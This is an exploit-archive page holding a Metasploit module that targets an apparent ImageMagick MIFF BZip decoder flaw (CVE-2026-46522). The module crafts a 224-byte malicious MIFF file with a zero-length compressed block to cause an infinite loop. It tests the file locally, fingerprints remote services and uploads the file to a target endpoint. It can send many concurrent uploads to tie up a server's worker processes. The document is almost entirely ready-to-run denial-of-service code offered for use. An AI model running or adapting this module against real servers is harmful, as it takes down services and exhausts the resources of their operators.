Share
## https://sploitus.com/exploit?id=PACKETSTORM:225038
==================================================================================================================================
    | # Title     : ImageMagick 7.x MIFF BZip Decoder Infinite Loop DoS                                                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://imagemagick.org                                                                                          |
    ==================================================================================================================================
    
    [+] Summary    :  A vulnerability in ImageMagick's MIFF decoder (coders/miff.c) allows an attacker to cause an infinite loop and CPU exhaustion by providing
                      a specially crafted MIFF file with a compressed block length of zero when BZip compression is enabled.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Auxiliary::Scanner
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ImageMagick MIFF BZip Decoder Infinite Loop DoS',
            'Description' => %q{
              A vulnerability in ImageMagick's MIFF decoder (coders/miff.c) allows
              an attacker to cause an infinite loop and CPU exhaustion by providing
              a specially crafted MIFF file with a compressed block length of zero
              when BZip compression is enabled.
    
              The BZip2 decompression branch does not reject length=0 in the per-block
              compressed length prefix. BZ2_bzDecompress with avail_in=0 returns BZ_OK
              silently, and the ImageMagick loop only exits on BZ_STREAM_END or on codes
              that are neither BZ_OK nor BZ_STREAM_END. The result is an infinite loop
              that consumes 100% CPU until the process is killed.
    
              This vulnerability affects ImageMagick version 7.x (verified on 7.1.2-3).
              The minimal proof-of-concept file is only 224 bytes.
    
              This module generates a malicious MIFF file and can optionally upload it
              to a vulnerable web service that processes user-supplied images.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-46522'],
              ['URL', 'https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7gg8-qqx7-92g5'],
              ['URL', 'https://imagemagick.org/']
            ],
            'DisclosureDate' => '2026-05-13',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_OS_DOWN],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('OUTPUT_PATH', [false, 'Local path to save the malicious MIFF file', '/tmp/poc.miff']),
          OptString.new('UPLOAD_ENDPOINT', [false, 'Upload endpoint path (e.g., /upload)']),
          OptString.new('UPLOAD_FIELD', [false, 'Multipart form field name for file upload', 'file']),
          OptString.new('TARGET_URI', [false, 'Target URI for processing the image', '/']),
          OptInt.new('TIMEOUT', [false, 'Timeout in seconds for processing (default: 5)', 5]),
          OptBool.new('UPLOAD_ONLY', [false, 'Only generate the file without uploading', true]),
          OptBool.new('MULTIPLE_UPLOADS', [false, 'Send multiple uploads to exhaust multiple workers', false]),
          OptInt.new('UPLOAD_COUNT', [false, 'Number of uploads when MULTIPLE_UPLOADS is enabled', 10])
        ])
      end
    
      def craft_miff
        """
        Generate a malicious MIFF file that triggers the infinite loop.
        The file uses BZip compression with a compressed block length of zero.
        """
        header = <<~MIFF
          id=ImageMagick version=1.0
          class=DirectClass colors=0 alpha-trait=Undefined
          number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007
          columns=1 rows=1 depth=8
          colorspace=sRGB compression=BZip quality=75
        MIFF
        miff_data = header.encode + "\x0c\n".encode + "\x00\x00\x00\x00"
        
        miff_data
      end
    
      def generate_miff_file(path)
        print_status("Generating malicious MIFF file: #{path}")
        
        miff_data = craft_miff
        
        File.binwrite(path, miff_data)
        file_size = File.size(path)
        
        print_good("MIFF file created: #{file_size} bytes")
        print_good("File triggers infinite loop when processed with ImageMagick")
        
        miff_data
      end
      def test_image_magick(path)
        """
        Test if the system is vulnerable by processing the file locally.
        """
        print_status("Testing ImageMagick vulnerability locally...")
        identify_path = cmd_exec('which identify')
        if identify_path.empty?
          print_error("ImageMagick identify command not found")
          return false
        end
        cmd = "timeout #{datastore['TIMEOUT']} identify #{path} 2>&1"
        print_status("Executing: #{cmd}")
        
        start_time = Time.now
        result = cmd_exec(cmd)
        elapsed = Time.now - start_time
        if elapsed >= datastore['TIMEOUT'] - 0.5
          print_good("VULNERABLE: Process was killed after timeout (infinite loop detected)")
          print_good("CPU would be exhausted for #{datastore['TIMEOUT']} seconds")
          return true
        else
          print_error("Process completed in #{elapsed.round(2)} seconds (not vulnerable)")
          return false
        end
      end
      def send_upload_payload(miff_data, filename, endpoint)
        """
        Send the malicious MIFF file to a vulnerable web service.
        """
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        
        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"#{datastore['UPLOAD_FIELD']}\"; filename=\"#{filename}\"\r\n"
        post_data << "Content-Type: image/x-miff\r\n\r\n"
        post_data << miff_data
        post_data << "\r\n--#{boundary}--\r\n"
        
        headers = {
          'Content-Type' => "multipart/form-data; boundary=#{boundary}",
          'User-Agent' => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
        }
        url = normalize_uri(datastore['UPLOAD_ENDPOINT'])
        print_status("Uploading malicious MIFF to #{url} (request ##{@upload_count})")
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => url,
            'headers' => headers,
            'data' => post_data,
            'timeout' => datastore['TIMEOUT']
          )
          
          if res
            print_status("Upload response: HTTP #{res.code}")
            if res.code == 200 || res.code == 302
              print_good("File uploaded successfully")
              return true
            end
          else
            print_good("Request timed out - service likely stuck processing the malicious file")
            return true
          end
          
        rescue ::Rex::ConnectionTimeout, ::Rex::TimeoutError
          print_good("Connection timeout - service may be stuck processing the malicious file")
          return true
        rescue => e
          print_error("Upload failed: #{e.message}")
          return false
        end
        
        false
      end
    
      def check_service_vulnerable
        """
        Check if the remote service appears to be using ImageMagick.
        """
        print_status("Checking if remote service might be vulnerable...")
        begin
          res = send_request_cgi(
            'method' => 'GET',
            'uri' => normalize_uri(datastore['TARGET_URI']),
            'timeout' => 10
          )
          
          if res && res.body
            indicators = [
              'ImageMagick', 'magick', 'convert', 'identify',
              'image/jpeg', 'image/png', 'image/gif', 'content-type.*image'
            ]
            
            indicators.each do |indicator|
              if res.body =~ /#{indicator}/i
                print_good("Found potential ImageMagick indicator: #{indicator}")
                return true
              end
            end
          end
          
          print_status("No clear ImageMagick indicators found")
          return false
          
        rescue => e
          print_error("Failed to check service: #{e.message}")
          return false
        end
      end
    
      def send_multiple_uploads(miff_data, filename)
        """
        Send multiple uploads to exhaust multiple worker processes.
        """
        print_status("Sending #{datastore['UPLOAD_COUNT']} uploads to exhaust workers...")
        
        @upload_count = 0
        successful = 0
        
        threads = []
        datastore['UPLOAD_COUNT'].times do |i|
          threads << framework.threads.spawn("Uploader-#{i}", false) do
            @upload_count += 1
            if send_upload_payload(miff_data, "#{i}_#{filename}", datastore['UPLOAD_ENDPOINT'])
              successful += 1
            end
            Rex.sleep(0.1) 
          end
        end
        threads.each(&:join)
        
        print_good("Successfully sent #{successful} of #{datastore['UPLOAD_COUNT']} uploads")
        successful
      end
    
      def exploit_remote
        """
        Exploit remote service by uploading the malicious MIFF file.
        """
        print_status("CVE-2026-46522 - ImageMagick MIFF Decoder DoS")
        print_status("Target: #{peer}")
        check_service_vulnerable
        miff_data = craft_miff
        filename = "poc_#{Rex::Text.rand_text_alpha_lower(8)}.miff"
        print_status("Malicious MIFF size: #{miff_data.length} bytes")
        if datastore['MULTIPLE_UPLOADS']
          successful_uploads = send_multiple_uploads(miff_data, filename)
          if successful_uploads > 0
            print_good("DoS attack initiated with #{successful_uploads} uploads")
            print_good("Target workers should be stuck at 100% CPU")
          else
            print_error("All uploads failed")
          end
        else
          if send_upload_payload(miff_data, filename, datastore['UPLOAD_ENDPOINT'])
            print_good("DoS attack initiated successfully")
            print_good("Target worker is stuck processing the malicious file")
          else
            print_error("Failed to upload malicious file")
          end
        end
      end
    
      def run_host(ip)
        print_status("CVE-2026-46522 - ImageMagick MIFF BZip Decoder Infinite Loop DoS")
        output_path = datastore['OUTPUT_PATH']
        miff_data = generate_miff_file(output_path)
        print_status("\n[*] Testing local ImageMagick vulnerability...")
        test_image_magick(output_path)
        if datastore['UPLOAD_ENDPOINT'] && !datastore['UPLOAD_ENDPOINT'].empty?
          print_status("\n[*] Attempting remote exploitation...")
          exploit_remote
        else
          print_status("\n[*] Remote exploitation not configured")
          print_status("To test remote service, set UPLOAD_ENDPOINT")
        end
        print_status("\n[+] Exploit complete")
        print_status("Malicious file saved to: #{output_path}")
        print_status("To test with ImageMagick: identify #{output_path}")
        print_status("Expected: Process will hang and consume 100% CPU")
      end
    end
    
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================